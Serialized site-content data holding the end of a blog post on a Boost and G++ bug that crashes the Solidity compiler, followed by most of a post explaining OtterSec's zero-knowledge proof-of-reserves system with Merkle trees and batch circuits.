Ubuntu)",{"type":25,"tag":112,"props":105476,"children":105477},{},[105478],{"type":30,"value":105479},"C++20 enabled (default in recent Solidity builds)",{"type":25,"tag":26,"props":105481,"children":105482},{},[105483,105485,105490,105492,105498],{"type":30,"value":105484},"They will encounter this crash ",{"type":25,"tag":38,"props":105486,"children":105487},{},[105488],{"type":30,"value":105489},"as soon as",{"type":30,"value":105491}," it processes a Solidity source with a length expression like ",{"type":25,"tag":264,"props":105493,"children":105495},{"className":105494},[],[105496],{"type":30,"value":105497},"T[0]",{"type":30,"value":105499}," or anything involving compile-time rational comparisons.",{"type":25,"tag":92,"props":105501,"children":105502},{},[],{"type":25,"tag":96,"props":105504,"children":105506},{"id":105505},"recommendations",[105507],{"type":30,"value":105508},"Recommendations",{"type":25,"tag":108,"props":105510,"children":105511},{},[105512,105520],{"type":25,"tag":112,"props":105513,"children":105514},{},[105515],{"type":25,"tag":38,"props":105516,"children":105517},{},[105518],{"type":30,"value":105519},"Update Boost to ≥ 1.75",{"type":25,"tag":112,"props":105521,"children":105522},{},[105523],{"type":25,"tag":38,"props":105524,"children":105525},{},[105526],{"type":30,"value":105527},"Pin G++ to v14 or later",{"type":25,"tag":92,"props":105529,"children":105530},{},[],{"type":25,"tag":96,"props":105532,"children":105533},{"id":42044},[105534],{"type":30,"value":32068},{"type":25,"tag":26,"props":105536,"children":105537},{},[105538],{"type":30,"value":105539},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":25,"tag":26,"props":105541,"children":105542},{},[105543,105545,105549],{"type":30,"value":105544},"But it ",{"type":25,"tag":38,"props":105546,"children":105547},{},[105548],{"type":30,"value":17133},{"type":30,"value":105550}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":25,"tag":26,"props":105552,"children":105553},{},[105554],{"type":30,"value":105555},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":25,"tag":26,"props":105557,"children":105558},{},[105559],{"type":30,"value":105560},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":25,"tag":15963,"props":105562,"children":105563},{},[105564],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":105566},[105567,105568,105573,105576,105577,105578,105579,105580],{"id":103250,"depth":11641,"text":103253},{"id":103339,"depth":11641,"text":103342,"children":105569},[105570,105571,105572],{"id":103345,"depth":14354,"text":103348},{"id":103413,"depth":14354,"text":103416},{"id":103504,"depth":14354,"text":103507},{"id":104088,"depth":11641,"text":104091,"children":105574},[105575],{"id":104094,"depth":14354,"text":104097},{"id":104205,"depth":11641,"text":104208},{"id":105052,"depth":11641,"text":105055},{"id":105453,"depth":11641,"text":105456},{"id":105505,"depth":11641,"text":105508},{"id":42044,"depth":11641,"text":32068},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":105585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105586,"description":105587,"date":105588,"author":44312,"image":105589,"isFeatured":18,"onBlogPage":18,"tags":105591,"body":105594,"_type":16004,"_id":110353,"_source":16006,"_file":110354,"_stem":110355,"_extension":16009},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":105590,"width":17,"height":17},"/posts/por/title.png",[105592,105593],"zk","por",{"type":22,"children":105595,"toc":110330},[105596,105602,105614,105626,105631,105663,105677,105683,105695,105700,105705,105742,105747,105753,105758,105765,105770,105796,105801,105807,105827,105841,105849,105854,105859,105867,105880,105886,105968,105974,105979,105992,105997,106004,106028,106036,106041,106047,106052,106492,106505,106511,106516,106524,106542,106550,106563,106571,108224,108229,108236,108242,108247,108254,108270,108277,108285,108292,109802,109807,109814,109820,109825,109852,109857,109876,109882,109890,109908,109957,109965,109984,110006,110012,110025,110030,110037,110042,110105,110110,110117,110137,110143,110148,110154,110159,110203,110208,110216,110222,110227,110269,110274,110282,110287,110295,110299,110304,110317],{"type":25,"tag":96,"props":105597,"children":105599},{"id":105598},"what-is-a-proof-of-reserves",[105600],{"type":30,"value":105601},"What is a Proof of Reserves?",{"type":25,"tag":26,"props":105603,"children":105604},{},[105605,105607,105612],{"type":30,"value":105606},"At its heart, ",{"type":25,"tag":38,"props":105608,"children":105609},{},[105610],{"type":30,"value":105611},"Proof of Reserves (PoR)",{"type":30,"value":105613}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":25,"tag":26,"props":105615,"children":105616},{},[105617,105619,105624],{"type":30,"value":105618},"Think of it this way: ",{"type":25,"tag":38,"props":105620,"children":105621},{},[105622],{"type":30,"value":105623},"PoR",{"type":30,"value":105625}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":25,"tag":26,"props":105627,"children":105628},{},[105629],{"type":30,"value":105630},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":25,"tag":26,"props":105632,"children":105633},{},[105634,105636,105643,105645,105652,105654,105661],{"type":30,"value":105635},"We from OtterSec, in partnership with ",{"type":25,"tag":83,"props":105637,"children":105640},{"href":105638,"rel":105639},"https://backpack.exchange/",[9066],[105641],{"type":30,"value":105642},"Backpack",{"type":30,"value":105644},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":25,"tag":83,"props":105646,"children":105649},{"href":105647,"rel":105648},"https://github.com/otter-sec/por_v2",[9066],[105650],{"type":30,"value":105651},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":30,"value":105653}," was based on ",{"type":25,"tag":83,"props":105655,"children":105658},{"href":105656,"rel":105657},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[9066],[105659],{"type":30,"value":105660},"OKX Proof of Reserves algorithm",{"type":30,"value":105662}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":25,"tag":26,"props":105664,"children":105665},{},[105666,105668,105675],{"type":30,"value":105667},"In addition, we also created and open-sourced a ",{"type":25,"tag":83,"props":105669,"children":105672},{"href":105670,"rel":105671},"https://github.com/otter-sec/por_verifier_server",[9066],[105673],{"type":30,"value":105674},"PoR verifier server",{"type":30,"value":105676}," that receives the proofs and validates them.",{"type":25,"tag":96,"props":105678,"children":105680},{"id":105679},"why-do-we-use-zk-for-por",[105681],{"type":30,"value":105682},"Why do we use ZK for PoR?",{"type":25,"tag":26,"props":105684,"children":105685},{},[105686,105688,105693],{"type":30,"value":105687},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":25,"tag":38,"props":105689,"children":105690},{},[105691],{"type":30,"value":105692},"Zero-Knowledge Proofs (ZKPs)",{"type":30,"value":105694}," become game-changers.",{"type":25,"tag":26,"props":105696,"children":105697},{},[105698],{"type":30,"value":105699},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":25,"tag":26,"props":105701,"children":105702},{},[105703],{"type":30,"value":105704},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":25,"tag":661,"props":105706,"children":105707},{},[105708,105725],{"type":25,"tag":112,"props":105709,"children":105710},{},[105711,105716,105718,105724],{"type":25,"tag":38,"props":105712,"children":105713},{},[105714],{"type":30,"value":105715},"Sum proof",{"type":30,"value":105717},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":25,"tag":264,"props":105719,"children":105721},{"className":105720},[],[105722],{"type":30,"value":105723},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":30,"value":13677},{"type":25,"tag":112,"props":105726,"children":105727},{},[105728,105733,105735,105740],{"type":25,"tag":38,"props":105729,"children":105730},{},[105731],{"type":30,"value":105732},"Non-negativity",{"type":30,"value":105734},": All users have a ",{"type":25,"tag":38,"props":105736,"children":105737},{},[105738],{"type":30,"value":105739},"positive",{"type":30,"value":105741}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":25,"tag":26,"props":105743,"children":105744},{},[105745],{"type":30,"value":105746},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":25,"tag":96,"props":105748,"children":105750},{"id":105749},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[105751],{"type":30,"value":105752},"What is a Merkle Tree and how does it help in a PoR?",{"type":25,"tag":26,"props":105754,"children":105755},{},[105756],{"type":30,"value":105757},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":25,"tag":26,"props":105759,"children":105760},{},[105761],{"type":25,"tag":698,"props":105762,"children":105764},{"alt":63694,"src":105763},"/posts/por/merkle-tree.png",[],{"type":25,"tag":26,"props":105766,"children":105767},{},[105768],{"type":30,"value":105769},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":25,"tag":661,"props":105771,"children":105772},{},[105773,105786,105791],{"type":25,"tag":112,"props":105774,"children":105775},{},[105776,105778,105784],{"type":30,"value":105777},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":25,"tag":264,"props":105779,"children":105781},{"className":105780},[],[105782],{"type":30,"value":105783},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":30,"value":105785},");",{"type":25,"tag":112,"props":105787,"children":105788},{},[105789],{"type":30,"value":105790},"The Merkle tree is made public;",{"type":25,"tag":112,"props":105792,"children":105793},{},[105794],{"type":30,"value":105795},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":25,"tag":26,"props":105797,"children":105798},{},[105799],{"type":30,"value":105800},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":25,"tag":96,"props":105802,"children":105804},{"id":105803},"ottersec-porv2",[105805],{"type":30,"value":105806},"OtterSec PoRv2",{"type":25,"tag":26,"props":105808,"children":105809},{},[105810,105816,105818,105825],{"type":25,"tag":83,"props":105811,"children":105813},{"href":105647,"rel":105812},[9066],[105814],{"type":30,"value":105815},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":30,"value":105817},", which uses the ",{"type":25,"tag":83,"props":105819,"children":105822},{"href":105820,"rel":105821},"https://github.com/0xPolygonZero/plonky2",[9066],[105823],{"type":30,"value":105824},"plonky2 ZK algorithm",{"type":30,"value":105826}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":25,"tag":26,"props":105828,"children":105829},{},[105830,105832,105839],{"type":30,"value":105831},"We named it PoRv2 because we already had a version based on ",{"type":25,"tag":83,"props":105833,"children":105836},{"href":105834,"rel":105835},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[9066],[105837],{"type":30,"value":105838},"Vitalik's proof of solvency",{"type":30,"value":105840},", which was not optimal.",{"type":25,"tag":26,"props":105842,"children":105843},{},[105844],{"type":25,"tag":38,"props":105845,"children":105846},{},[105847],{"type":30,"value":105848},"Non-negativity Proof",{"type":25,"tag":26,"props":105850,"children":105851},{},[105852],{"type":30,"value":105853},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":25,"tag":26,"props":105855,"children":105856},{},[105857],{"type":30,"value":105858},"We also check for overflows during summation to prevent tampering in the final result.",{"type":25,"tag":26,"props":105860,"children":105861},{},[105862],{"type":25,"tag":38,"props":105863,"children":105864},{},[105865],{"type":30,"value":105866},"Sum Proof",{"type":25,"tag":26,"props":105868,"children":105869},{},[105870,105872,105878],{"type":30,"value":105871},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":25,"tag":264,"props":105873,"children":105875},{"className":105874},[],[105876],{"type":30,"value":105877},"BTC final: user1_btc + user2_btc ...",{"type":30,"value":105879},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":25,"tag":247,"props":105881,"children":105883},{"id":105882},"what-are-the-ottersec-porv2-key-points",[105884],{"type":30,"value":105885},"What are the OtterSec PoRv2 key points?",{"type":25,"tag":661,"props":105887,"children":105888},{},[105889,105899,105917,105927,105958],{"type":25,"tag":112,"props":105890,"children":105891},{},[105892,105897],{"type":25,"tag":38,"props":105893,"children":105894},{},[105895],{"type":30,"value":105896},"Transparency",{"type":30,"value":105898},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":25,"tag":112,"props":105900,"children":105901},{},[105902,105907,105909,105916],{"type":25,"tag":38,"props":105903,"children":105904},{},[105905],{"type":30,"value":105906},"Time-efficiency",{"type":30,"value":105908},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":25,"tag":83,"props":105910,"children":105913},{"href":105911,"rel":105912},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[9066],[105914],{"type":30,"value":105915},"Check our benchmark",{"type":30,"value":1860},{"type":25,"tag":112,"props":105918,"children":105919},{},[105920,105925],{"type":25,"tag":38,"props":105921,"children":105922},{},[105923],{"type":30,"value":105924},"Memory-efficiency",{"type":30,"value":105926},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":25,"tag":112,"props":105928,"children":105929},{},[105930,105935,105937,105942,105944,105949,105951,105956],{"type":25,"tag":38,"props":105931,"children":105932},{},[105933],{"type":30,"value":105934},"Small-proofs",{"type":30,"value":105936},": We were able to reduce the final proof to less than ",{"type":25,"tag":38,"props":105938,"children":105939},{},[105940],{"type":30,"value":105941},"500KB",{"type":30,"value":105943}," and each inclusion proof to ",{"type":25,"tag":38,"props":105945,"children":105946},{},[105947],{"type":30,"value":105948},"~52KB",{"type":30,"value":105950},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":25,"tag":38,"props":105952,"children":105953},{},[105954],{"type":30,"value":105955},"200MB",{"type":30,"value":105957}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":25,"tag":112,"props":105959,"children":105960},{},[105961,105966],{"type":25,"tag":38,"props":105962,"children":105963},{},[105964],{"type":30,"value":105965},"Privacy",{"type":30,"value":105967},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":25,"tag":96,"props":105969,"children":105971},{"id":105970},"zk-circuits",[105972],{"type":30,"value":105973},"ZK Circuits",{"type":25,"tag":26,"props":105975,"children":105976},{},[105977],{"type":30,"value":105978},"We use two different ZK circuits to generate the final proof:",{"type":25,"tag":661,"props":105980,"children":105981},{},[105982,105987],{"type":25,"tag":112,"props":105983,"children":105984},{},[105985],{"type":30,"value":105986},"Batch circuit",{"type":25,"tag":112,"props":105988,"children":105989},{},[105990],{"type":30,"value":105991},"Recursive circuit",{"type":25,"tag":26,"props":105993,"children":105994},{},[105995],{"type":30,"value":105996},"With those two circuits, we can generate the proofs recursive tree:",{"type":25,"tag":26,"props":105998,"children":105999},{},[106000],{"type":25,"tag":698,"props":106001,"children":106003},{"alt":63694,"src":106002},"/posts/por/batch-circuit.png",[],{"type":25,"tag":16074,"props":106005,"children":106006},{},[106007],{"type":25,"tag":26,"props":106008,"children":106009},{},[106010,106012,106018,106020,106026],{"type":30,"value":106011},"Note: We are using 512 as ",{"type":25,"tag":264,"props":106013,"children":106015},{"className":106014},[],[106016],{"type":30,"value":106017},"BATCH_SIZE",{"type":30,"value":106019}," and 8 as ",{"type":25,"tag":264,"props":106021,"children":106023},{"className":106022},[],[106024],{"type":30,"value":106025},"RECURSIVE_SIZE",{"type":30,"value":106027}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":25,"tag":16074,"props":106029,"children":106030},{},[106031],{"type":25,"tag":26,"props":106032,"children":106033},{},[106034],{"type":30,"value":106035},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":25,"tag":26,"props":106037,"children":106038},{},[106039],{"type":30,"value":106040},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":25,"tag":247,"props":106042,"children":106044},{"id":106043},"leaf-nodes",[106045],{"type":30,"value":106046},"Leaf Nodes",{"type":25,"tag":26,"props":106048,"children":106049},{},[106050],{"type":30,"value":106051},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":25,"tag":26,"props":106053,"children":106054},{},[106055],{"type":25,"tag":264,"props":106056,"children":106058},{"className":106057},[267,268],[106059],{"type":25,"tag":271,"props":106060,"children":106062},{"className":106061},[274],[106063],{"type":25,"tag":271,"props":106064,"children":106066},{"className":106065,"ariaHidden":280},[279],[106067,106093],{"type":25,"tag":271,"props":106068,"children":106070},{"className":106069},[285],[106071,106075,106080,106084,106089],{"type":25,"tag":271,"props":106072,"children":106074},{"className":106073,"style":326},[290],[],{"type":25,"tag":271,"props":106076,"children":106078},{"className":106077},[296,297],[106079],{"type":30,"value":97458},{"type":25,"tag":271,"props":106081,"children":106083},{"className":106082,"style":338},[337],[],{"type":25,"tag":271,"props":106085,"children":106087},{"className":106086},[356],[106088],{"type":30,"value":1065},{"type":25,"tag":271,"props":106090,"children":106092},{"className":106091,"style":338},[337],[],{"type":25,"tag":271,"props":106094,"children":106096},{"className":106095},[285],[106097,106101,106106,106112,106117,106122,106128,106133,106138,106143,106149,106154,106159,106165,106172,106178,106184,106241,106246,106252,106257,106262,106267,106272,106277,106282,106287,106292,106297,106354,106359,106364,106369,106374,106379,106384,106389,106394,106400,106405,106411,106417,106422,106427,106432,106437,106442,106447,106452,106457,106462,106467,106472,106477,106482,106487],{"type":25,"tag":271,"props":106098,"children":106100},{"className":106099,"style":7026},[290],[],{"type":25,"tag":271,"props":106102,"children":106104},{"className":106103,"style":298},[296,297],[106105],{"type":30,"value":400},{"type":25,"tag":271,"props":106107,"children":106109},{"className":106108},[296,297],[106110],{"type":30,"value":106111},"ose",{"type":25,"tag":271,"props":106113,"children":106115},{"className":106114},[296,297],[106116],{"type":30,"value":1937},{"type":25,"tag":271,"props":106118,"children":106120},{"className":106119},[296,297],[106121],{"type":30,"value":13482},{"type":25,"tag":271,"props":106123,"children":106125},{"className":106124},[296,297],[106126],{"type":30,"value":106127},"o",{"type":25,"tag":271,"props":106129,"children":106131},{"className":106130},[296,297],[106132],{"type":30,"value":1023},{"type":25,"tag":271,"props":106134,"children":106136},{"className":106135},[391],[106137],{"type":30,"value":394},{"type":25,"tag":271,"props":106139,"children":106141},{"className":106140},[296,297],[106142],{"type":30,"value":83},{"type":25,"tag":271,"props":106144,"children":106146},{"className":106145},[296,297],[106147],{"type":30,"value":106148},"sse",{"type":25,"tag":271,"props":106150,"children":106152},{"className":106151},[296,297],[106153],{"type":30,"value":6292},{"type":25,"tag":271,"props":106155,"children":106157},{"className":106156,"style":2296},[296],[106158],{"type":30,"value":6434},{"type":25,"tag":271,"props":106160,"children":106162},{"className":106161},[296,297],[106163],{"type":30,"value":106164},"ba",{"type":25,"tag":271,"props":106166,"children":106169},{"className":106167,"style":106168},[296,297],"margin-right:0.01968em;",[106170],{"type":30,"value":106171},"l",{"type":25,"tag":271,"props":106173,"children":106175},{"className":106174},[296,297],[106176],{"type":30,"value":106177},"an",{"type":25,"tag":271,"props":106179,"children":106181},{"className":106180},[296,297],[106182],{"type":30,"value":106183},"ce",{"type":25,"tag":271,"props":106185,"children":106187},{"className":106186},[296],[106188,106193],{"type":25,"tag":271,"props":106189,"children":106191},{"className":106190},[296,297],[106192],{"type":30,"value":23776},{"type":25,"tag":271,"props":106194,"children":106196},{"className":106195},[982],[106197],{"type":25,"tag":271,"props":106198,"children":106200},{"className":106199},[987,1100],[106201,106230],{"type":25,"tag":271,"props":106202,"children":106204},{"className":106203},[992],[106205,106225],{"type":25,"tag":271,"props":106206,"children":106208},{"className":106207,"style":1588},[997],[106209],{"type":25,"tag":271,"props":106210,"children":106211},{"style":1592},[106212,106216],{"type":25,"tag":271,"props":106213,"children":106215},{"className":106214,"style":1008},[1007],[],{"type":25,"tag":271,"props":106217,"children":106219},{"className":106218},[1013,1014,1015,1016],[106220],{"type":25,"tag":271,"props":106221,"children":106223},{"className":106222},[296,1016],[106224],{"type":30,"value":953},{"type":25,"tag":271,"props":106226,"children":106228},{"className":106227},[1177],[106229],{"type":30,"value":1180},{"type":25,"tag":271,"props":106231,"children":106233},{"className":106232},[992],[106234],{"type":25,"tag":271,"props":106235,"children":106237},{"className":106236,"style":1619},[997],[106238],{"type":25,"tag":271,"props":106239,"children":106240},{},[],{"type":25,"tag":271,"props":106242,"children":106244},{"className":106243},[337],[106245],{"type":30,"value":34797},{"type":25,"tag":271,"props":106247,"children":106249},{"className":106248},[296],[106250],{"type":30,"value":106251},"∣∣",{"type":25,"tag":271,"props":106253,"children":106255},{"className":106254},[337],[106256],{"type":30,"value":34797},{"type":25,"tag":271,"props":106258,"children":106260},{"className":106259},[296,297],[106261],{"type":30,"value":83},{"type":25,"tag":271,"props":106263,"children":106265},{"className":106264},[296,297],[106266],{"type":30,"value":106148},{"type":25,"tag":271,"props":106268,"children":106270},{"className":106269},[296,297],[106271],{"type":30,"value":6292},{"type":25,"tag":271,"props":106273,"children":106275},{"className":106274,"style":2296},[296],[106276],{"type":30,"value":6434},{"type":25,"tag":271,"props":106278,"children":106280},{"className":106279},[296,297],[106281],{"type":30,"value":106164},{"type":25,"tag":271,"props":106283,"children":106285},{"className":106284,"style":106168},[296,297],[106286],{"type":30,"value":106171},{"type":25,"tag":271,"props":106288,"children":106290},{"className":106289},[296,297],[106291],{"type":30,"value":106177},{"type":25,"tag":271,"props":106293,"children":106295},{"className":106294},[296,297],[106296],{"type":30,"value":106183},{"type":25,"tag":271,"props":106298,"children":106300},{"className":106299},[296],[106301,106306],{"type":25,"tag":271,"props":106302,"children":106304},{"className":106303},[296,297],[106305],{"type":30,"value":23776},{"type":25,"tag":271,"props":106307,"children":106309},{"className":106308},[982],[106310],{"type":25,"tag":271,"props":106311,"children":106313},{"className":106312},[987,1100],[106314,106343],{"type":25,"tag":271,"props":106315,"children":106317},{"className":106316},[992],[106318,106338],{"type":25,"tag":271,"props":106319,"children":106321},{"className":106320,"style":1588},[997],[106322],{"type":25,"tag":271,"props":106323,"children":106324},{"style":1592},[106325,106329],{"type":25,"tag":271,"props":106326,"children":106328},{"className":106327,"style":1008},[1007],[],{"type":25,"tag":271,"props":106330,"children":106332},{"className":106331},[1013,1014,1015,1016],[106333],{"type":25,"tag":271,"props":106334,"children":106336},{"className":106335},[296,1016],[106337],{"type":30,"value":968},{"type":25,"tag":271,"props":106339,"children":106341},{"className":106340},[1177],[106342],{"type":30,"value":1180},{"type":25,"tag":271,"props":106344,"children":106346},{"className":106345},[992],[106347],{"type":25,"tag":271,"props":106348,"children":106350},{"className":106349,"style":1619},[997],[106351],{"type":25,"tag":271,"props":106352,"children":106353},{},[],{"type":25,"tag":271,"props":106355,"children":106357},{"className":106356},[337],[106358],{"type":30,"value":34797},{"type":25,"tag":271,"props":106360,"children":106362},{"className":106361},[296],[106363],{"type":30,"value":22714},{"type":25,"tag":271,"props":106365,"children":106367},{"className":106366},[337],[106368],{"type":30,"value":34797},{"type":25,"tag":271,"props":106370,"children":106372},{"className":106371},[296],[106373],{"type":30,"value":106251},{"type":25,"tag":271,"props":106375,"children":106377},{"className":106376},[337],[106378],{"type":30,"value":34797},{"type":25,"tag":271,"props":106380,"children":106382},{"className":106381,"style":35148},[296,297],[106383],{"type":30,"value":35151},{"type":25,"tag":271,"props":106385,"children":106387},{"className":106386,"style":1052},[296,297],[106388],{"type":30,"value":1055},{"type":25,"tag":271,"props":106390,"children":106392},{"className":106391},[296,297],[106393],{"type":30,"value":5710},{"type":25,"tag":271,"props":106395,"children":106397},{"className":106396},[296],[106398],{"type":30,"value":106399},"256",{"type":25,"tag":271,"props":106401,"children":106403},{"className":106402},[391],[106404],{"type":30,"value":394},{"type":25,"tag":271,"props":106406,"children":106408},{"className":106407},[296,297],[106409],{"type":30,"value":106410},"u",{"type":25,"tag":271,"props":106412,"children":106414},{"className":106413,"style":2296},[296,297],[106415],{"type":30,"value":106416},"ser",{"type":25,"tag":271,"props":106418,"children":106420},{"className":106419,"style":2296},[296],[106421],{"type":30,"value":6434},{"type":25,"tag":271,"props":106423,"children":106425},{"className":106424},[296,297],[106426],{"type":30,"value":1937},{"type":25,"tag":271,"props":106428,"children":106430},{"className":106429},[296,297],[106431],{"type":30,"value":13482},{"type":25,"tag":271,"props":106433,"children":106435},{"className":106434},[437],[106436],{"type":30,"value":440},{"type":25,"tag":271,"props":106438,"children":106440},{"className":106439},[337],[106441],{"type":30,"value":34797},{"type":25,"tag":271,"props":106443,"children":106445},{"className":106444},[296],[106446],{"type":30,"value":106251},{"type":25,"tag":271,"props":106448,"children":106450},{"className":106449},[337],[106451],{"type":30,"value":34797},{"type":25,"tag":271,"props":106453,"children":106455},{"className":106454},[296,297],[106456],{"type":30,"value":106410},{"type":25,"tag":271,"props":106458,"children":106460},{"className":106459,"style":2296},[296,297],[106461],{"type":30,"value":106416},{"type":25,"tag":271,"props":106463,"children":106465},{"className":106464,"style":2296},[296],[106466],{"type":30,"value":6434},{"type":25,"tag":271,"props":106468,"children":106470},{"className":106469},[296,297],[106471],{"type":30,"value":1023},{"type":25,"tag":271,"props":106473,"children":106475},{"className":106474},[296,297],[106476],{"type":30,"value":106127},{"type":25,"tag":271,"props":106478,"children":106480},{"className":106479},[296,297],[106481],{"type":30,"value":1023},{"type":25,"tag":271,"props":106483,"children":106485},{"className":106484},[296,297],[106486],{"type":30,"value":106183},{"type":25,"tag":271,"props":106488,"children":106490},{"className":106489},[437],[106491],{"type":30,"value":440},{"type":25,"tag":26,"props":106493,"children":106494},{},[106495,106497,106503],{"type":30,"value":106496},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":25,"tag":264,"props":106498,"children":106500},{"className":106499},[],[106501],{"type":30,"value":106502},"uuid",{"type":30,"value":106504},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":25,"tag":247,"props":106506,"children":106508},{"id":106507},"batch-circuit",[106509],{"type":30,"value":106510},"Batch Circuit",{"type":25,"tag":26,"props":106512,"children":106513},{},[106514],{"type":30,"value":106515},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":25,"tag":26,"props":106517,"children":106518},{},[106519],{"type":25,"tag":38,"props":106520,"children":106521},{},[106522],{"type":30,"value":106523},"Public Inputs",{"type":25,"tag":108,"props":106525,"children":106526},{},[106527,106532,106537],{"type":25,"tag":112,"props":106528,"children":106529},{},[106530],{"type":30,"value":106531},"Asset prices in USD",{"type":25,"tag":112,"props":106533,"children":106534},{},[106535],{"type":30,"value":106536},"Merkle tree hash",{"type":25,"tag":112,"props":106538,"children":106539},{},[106540],{"type":30,"value":106541},"Summed asset balances",{"type":25,"tag":26,"props":106543,"children":106544},{},[106545],{"type":25,"tag":38,"props":106546,"children":106547},{},[106548],{"type":30,"value":106549},"Private Inputs",{"type":25,"tag":108,"props":106551,"children":106552},{},[106553,106558],{"type":25,"tag":112,"props":106554,"children":106555},{},[106556],{"type":30,"value":106557},"Users balances",{"type":25,"tag":112,"props":106559,"children":106560},{},[106561],{"type":30,"value":106562},"Merkle tree leaves 